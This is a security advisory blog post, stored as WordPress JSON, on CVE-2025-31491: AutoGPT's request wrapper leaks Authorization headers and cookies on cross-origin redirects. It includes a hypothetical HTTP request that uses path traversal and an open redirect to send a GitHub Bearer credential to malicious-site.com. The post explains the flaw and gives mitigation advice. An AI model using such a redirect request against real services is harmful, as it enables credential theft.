{"id":27787,"date":"2025-04-20T08:22:24","date_gmt":"2025-04-20T08:22:24","guid":{"rendered":""},"modified":"2025-10-01T22:30:30","modified_gmt":"2025-10-02T04:30:30","slug":"cve-2025-31491-critical-vulnerability-in-autogpt-leads-to-leakage-of-cross-domain-cookies-and-protected-headers","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-31491-critical-vulnerability-in-autogpt-leads-to-leakage-of-cross-domain-cookies-and-protected-headers\/","title":{"rendered":"<strong>CVE-2025-31491: Critical Vulnerability in AutoGPT Leads to Leakage of Cross-Domain Cookies and Protected Headers<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-31491 is a serious vulnerability affecting AutoGPT, a popular platform for automating complex workflows with continuous artificial intelligence agents. This vulnerability allows the leakage of cross-domain cookies and protected headers, which could potentially lead to system compromise or data leakage. It is a severe issue that affects all users of AutoGPT prior to the 0.6.1 version and requires immediate attention due to its high severity score of 8.6 on the Common <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32743-critical-vulnerability-in-connman-could-lead-to-system-compromise\/\"  data-wpil-monitor-id=\"32180\">Vulnerability Scoring System<\/a> (CVSS).<br \/>\nGiven that AutoGPT is widely used for managing AI-driven workflows, this vulnerability could have a significant <a href=\"https:\/\/www.ameeba.com\/blog\/empowering-wyoming-businesses-the-impact-of-cybersecurity-101-boot-camp\/\"  data-wpil-monitor-id=\"33471\">impact on numerous businesses<\/a> and organizations. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50930-cross-site-request-forgery-csrf-in-savignano-s-notify-leading-to-configuration-tampering-and-potential-data-leakage\/\"  data-wpil-monitor-id=\"31991\">potential for data<\/a> leakage raises concerns about the exposure of sensitive information, including authorization credentials and private cookies, which could subsequently be exploited by malicious actors.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-31491<br \/>\nSeverity: High (8.6 CVSS)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23391-incorrect-privilege-assignment-in-suse-rancher-potentially-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"33069\">System compromise and potential<\/a> data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3475213446\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>AutoGPT | Prior to 0.6.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>This exploit takes advantage of a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47533-cross-site-request-forgery-vulnerability-in-iqonic-design-graphina\/\"  data-wpil-monitor-id=\"44208\">design<\/a> flaw in AutoGPT&#8217;s request wrapper around the requests Python library. When a redirect is not followed by the initial request and is re-requested by the wrapper using the new location, security-sensitive headers such as the Authorization and Proxy-Authorization header, and cookies are not <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-9636-cross-origin-opener-policy-vulnerability-in-pgadmin-allows-account-takeovers\/\"  data-wpil-monitor-id=\"87099\">accounted for and should not be sent cross-origin<\/a>. If a malicious actor can coerce the script into visiting a URL with an open redirect <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32542-unchecked-authorization-vulnerability-in-eazyplugins-eazy-plugin-manager\/\"  data-wpil-monitor-id=\"33046\">vulnerability with the Authorization<\/a> header, the credentials in the Authorization header will be leaked.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2807887182\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>In this hypothetical example, a malicious actor could exploit the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-21627-cross-site-scripting-vulnerability-in-prestashop-s-iscleanhtml-method\/\"  data-wpil-monitor-id=\"34505\">vulnerability by manipulating a script<\/a> to visit a URL with an open redirect vulnerability. Here&#8217;s an example of such a scenario using a GitHub API request:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/repos\/{owner}\/{repo}\/issues\/comments\/{comment_id}\/..\/..\/..\/..\/..\/redirect\/?url=https:\/\/malicious-site.com HTTP\/1.1\nHost: api.github.com\nAuthorization: Bearer &lt;GitHub_Credentials&gt;<\/code><\/pre>\n<p>In this example, if the GitHub API were to suffer from an open redirect vulnerability, the script could be tricked into visiting the malicious site with the Authorization header, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50350-broken-cryptographic-algorithm-leads-to-potential-data-leakage-in-hcl-dryice-myxalytics\/\"  data-wpil-monitor-id=\"33665\">leading to the leakage<\/a> of GitHub credentials.<\/p>\n<p><strong>Mitigation and Recommendations<\/strong><\/p>\n<p>All users of AutoGPT are advised to upgrade to version 0.6.1 or later, where this vulnerability has been fixed. In the interim, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5485-a-critical-vulnerability-pertaining-to-user-name-enumeration-in-web-management-interfaces\/\"  data-wpil-monitor-id=\"87100\">users can employ a Web<\/a> Application Firewall (WAF) or an Intrusion Detection System (IDS) as temporary mitigation. Always ensure to follow best practices for secure <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-42970-use-after-free-vulnerability-in-multiple-apple-platforms-may-lead-to-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"33017\">coding to prevent such vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-31491 is a serious vulnerability affecting AutoGPT, a popular platform for automating complex workflows with continuous artificial intelligence agents. This vulnerability allows the leakage of cross-domain cookies and protected headers, which could potentially lead to system compromise or data leakage. It is a severe issue that affects all users of AutoGPT prior to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[79],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-27787","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-github"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/27787","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=27787"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/27787\/revisions"}],"predecessor-version":[{"id":79944,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/27787\/revisions\/79944"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=27787"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=27787"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=27787"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=27787"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=27787"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=27787"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=27787"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=27787"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=27787"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}